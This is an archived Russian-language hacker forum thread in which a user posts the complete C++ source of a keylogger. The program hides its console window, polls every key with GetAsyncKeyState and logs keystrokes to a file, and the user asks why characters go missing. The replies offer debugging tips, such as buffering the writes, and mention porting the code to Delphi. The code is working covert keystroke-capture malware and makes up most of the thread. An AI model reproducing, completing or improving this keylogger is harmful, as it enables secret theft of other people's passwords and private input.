1. Вы находитесь в архивной версии форума xaker.name. Здесь собраны темы с 2007 по 2012 год, большинство инструкций и мануалов уже неактуальны.

Первый кейлоггер

  1. Ну может быть я не на том форуме пишу, но раздел тут такой есть :)

    По туториалу 2006 года написал Кейлоггер на С++
    все относительно работает, его не видно, лог сохраняет
    Но, возникла такая проблема:
    Он частенько не видит половины символов, не в смысле, что не различает, а просто не фиксирует их, получается из слова какие-то каракули
    "ПЕЕКЬЯАИЕР Е Н ЧТСТРЕТЕЩЛЕ3ИТЬОТЛС" Буквально вот так

    если скажите - это все из-за кириллицы(некоторые символы он и не должен фиксировать)
    Но я проверял на цифрах, он и половину цифр съедает

    самое странное то, что он просто игнорирует нажатия
    Не зависимо от скорости, буквы/цифры, и количества подряд
    Допустим "2" не фиксируется, раз 5-6 нажал, и только потом появилась

    Чтобы не закидали помидорами, вот исходник
    Код:
    #include <iostream>
    using namespace std;
    #include <windows.h>
    #include <Winuser.h>
    
    int Save (int key_stroke, char *file);
    void Stealth();
    
    int main()
    {
    Stealth();
    char i;
    
    while (1)
    {
    for(i = 8; i <= 190; i++)
    {
    if (GetAsyncKeyState(i) == -32767)
    Save (i,"LOG.txt");
    }
    }
    system ("PAUSE");
    return 0;
    }
    
    /* *********************************** */
    
    int Save (int key_stroke, char *file)
    {
       if ( (key_stroke == 1) || (key_stroke == 2) )
          return 0;
    
          FILE *OUTPUT_FILE;
          OUTPUT_FILE = fopen(file, "a+");
          fprintf(OUTPUT_FILE, "%s", &key_stroke);
          fclose(OUTPUT_FILE);
          cout << key_stroke << endl;
          return 0;
    }
    
    /* *********************************** */
    
    void Stealth()
    {
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    }
    *Он обрезанный слегка :)

    Напомню
    Основная проблема - Почему он игнорирует некоторые символы?

    Добавлено через 14 минут
    *А ПТО НЕ ФИКСИРЕИПЛУЧЕСЯ ИЗ СОВА КТО АРАКИ
    *а просто не фиксирует их получается из слова какие-то каракули

    Вот пример :dontknow:
     
  2. после компиляции считывает все символы...
    но полностью грузит одно ядро согласно Диспетчеру задач.

    Вообщем т.к. у меня считывает все символы я бы тебе посоветовал проверить еще где-нибудь. Мне кажется проблема при частом открытии файла (на запись каждого символа) и в таком случае стоит писать через буфер... сначала символы в буфер, а потом в файл... как вариант я посоветовал бы писать в буфер до любого пробельного символа.
     
  3. Да, скорее всего либо винт, либо оперативная память.
    У меня тоже в прогах на делфи при прямой записи сразу на винт происходит большая задержка. Тогда я перешел на потоки памяти и получилось, что выигрыш в скорости многократный!

    З.Ы. А код этот легко и на дельфу переводится.